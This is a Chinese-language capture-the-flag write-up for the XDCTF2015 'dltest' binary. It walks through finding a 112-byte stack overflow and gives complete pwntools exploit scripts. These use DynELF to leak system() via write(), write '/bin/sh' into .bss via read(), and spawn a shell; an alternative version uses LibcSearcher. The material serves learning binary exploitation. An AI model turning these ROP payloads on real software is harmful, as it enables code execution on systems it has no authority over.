pwn栈溢出之dltest(DynELF和libcSearcher利用)

栈溢出dltest解题步骤

思路分析:观察源码,是个栈溢出。没有system函数,也没有给libc库,但有read函数和write函数。可以借助DynELF定位system地址,然后借助read函数写入“/bin/sh”,并调用执行system(“/bin/sh”)

0x01 查看题目信息

在这里插入图片描述
0x02 checksec检查可执行文件属性
pwn栈溢出之dltest(DynELF和libcSearcher利用)_第1张图片

没有开启各种保护,RELRO为” Partial”,对GOT表具有写权限。

0x03 ida反编译
首先F5键对main函数反编译 ,并查看到有write函数和
一个vuln函数。

pwn栈溢出之dltest(DynELF和libcSearcher利用)_第2张图片

查看vuln(),发现有read()函数,可向buf中写入0x100,查看buf大小,为0x6c+4,可知有栈溢出。

pwn栈溢出之dltest(DynELF和libcSearcher利用)_第3张图片

0x04 查找溢出点

gdb中执行以下命令,并copy刚生成的200个字符,run后paste

pattern create 200
r

pwn栈溢出之dltest(DynELF和libcSearcher利用)_第4张图片

查看到溢出点位置0x41384141,并算出需要填充padding大小为112(0x70)

pwn栈溢出之dltest(DynELF和libcSearcher利用)_第5张图片
0x05 借助DynELF泄露system地址

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下:

p = process('./xxx')

def leak(address): #address指要泄露的地址
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  #print "%#x => %s" % (address, (data or '').encode('hex'))
  return data
  
d = DynELF(leak, elf=ELF("./xxx"))     
 #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  
#在libc文件中搜索system函数的地址

主要使用条件:

1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

这里利用write函数泄露system地址

①从内存中dump出4字节数据(system地址),函数执行结束后返回main函数重新执行
②补充知识点,write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)

结合DynELF构造代码:

def leak(addr):
    payload = offset+p32(write_plt)+p32(main_addr)+p32(1) +
p32(addr) + p32(4)
   p.recvuntil('Welcome to XDCTF2015~!\n')
   p.send(payload)
   data = p.recv(4)
   print "%#x => %s" % (addr, (data or '').encode('hex'))
   return data
   
   d = DynELF(leak, elf = elf)
   system_addr= d.lookup('system', 'libc')

0x06 利用read函数写入"/bin/sh",调用system()

①将"/bin/sh"写入到bss段,查看bss地址为0x804a040
在这里插入图片描述
②构造payload

readret_addr = 0xdeadbeef
offset = "A" * 112

payload = offset
payload +=p32(read_plt)
payload +=p32(system_addr)
payload +=p32(0) + p32(bss_addr) + p32(10)
payload +=p32(readret_addr) + p32(bss_addr)

关于如何利用read函数写入"/bin/sh"的详细讲解,可查看下面这个链接
https://blog.csdn.net/weixin_44113469/article/details/87005678

0x07 完整exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./dltest')
elf = ELF('./dltest')

offset = "A" * 112
write_plt = elf.plt['write']
main_addr = elf.symbols['main']

read_plt = elf.plt['read']
bss_addr = 0x0804a040
readret_addr = 0xdeadbeef

#泄露system() 函数地址
def leak(addr):
    payload = offset+p32(write_plt)+p32(main_addr)+p32(1) +
p32(addr) + p32(4)
    p.recvuntil('Welcome to XDCTF2015~!\n')
    #这一句涉及到程序的执行逻辑,不能少
    
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (addr, (data or '').encode('hex'))
    return data
    
d = DynELF(leak, elf = elf)
system_addr= d.lookup('system', 'libc')

#read写入/bin/sh\x00'
payload = offset
payload +=p32(read_plt)
payload +=p32(system_addr)#直接返回调用system
payload +=p32(0) + p32(bss_addr) + p32(10)
payload +=p32(readret_addr) + p32(bss_addr)

p.send(payload)
p.send('/bin/sh\x00')
p.interactive()

执行结果:

pwn栈溢出之dltest(DynELF和libcSearcher利用)_第6张图片
pwn栈溢出之dltest(DynELF和libcSearcher利用)_第7张图片
结果显示拿到shell。

解题过程中也试过泄露出write函数地址,再根据偏移算出libc基地址,从而得到system地址,但由于泄露出来的地址利用libcSearcher查找不到libc库版本而告终。一番折腾过后,发现此题直接泄露system地址更为简便。

学无止境,经过和大佬之间的交流,发现我之前泄露出write函数地址,再根据偏移算出libc基地址的思路是正确的,之所以利用libcSearcher查找不到libc库版本是因为缺少一句 p.recvuntil(‘Welcome to XDCTF2015~!\n’),运行的逻辑出现了问题,补上之后利用libcSearcher的方法完全没问题,而为什么要用libcSearcher查找libc库版本呢?因为我们不知道别人的操作系统和libc版本,所以为了不浪费生命,为了兼容远程,可以用libcSearcher查找。可见,解题的姿势并不单一。下面是这一方法的主要exp

#先leak出write地址
rop1 = 'R'*112+p32(plt_write)+p32(plt_main)+p32(1)+p32(got_write)+p32(4)
p.recvuntil('Welcome to XDCTF2015~!\n')#就是忘了这一句
p.sendline(rop1)
write_addr = u32(p.recv(4))

#利用LibcSearcher获取libc版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')

#调用system函数
p.recvuntil('Welcome to XDCTF2015~!\n')
payload1 = 'a' * 112 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

贴几个有关DynELF利用链接
https://www.freebuf.com/column/183879.html#respond
https://blog.csdn.net/u011987514/article/details/68490157
https://blog.csdn.net/qq_38783875/article/details/81134840
再贴一个关于libcSearcher的链接,可以下那个完整版的,亲测好用
https://blog.csdn.net/vaing_lory/article/details/86716753

你可能感兴趣的:(python,pwn)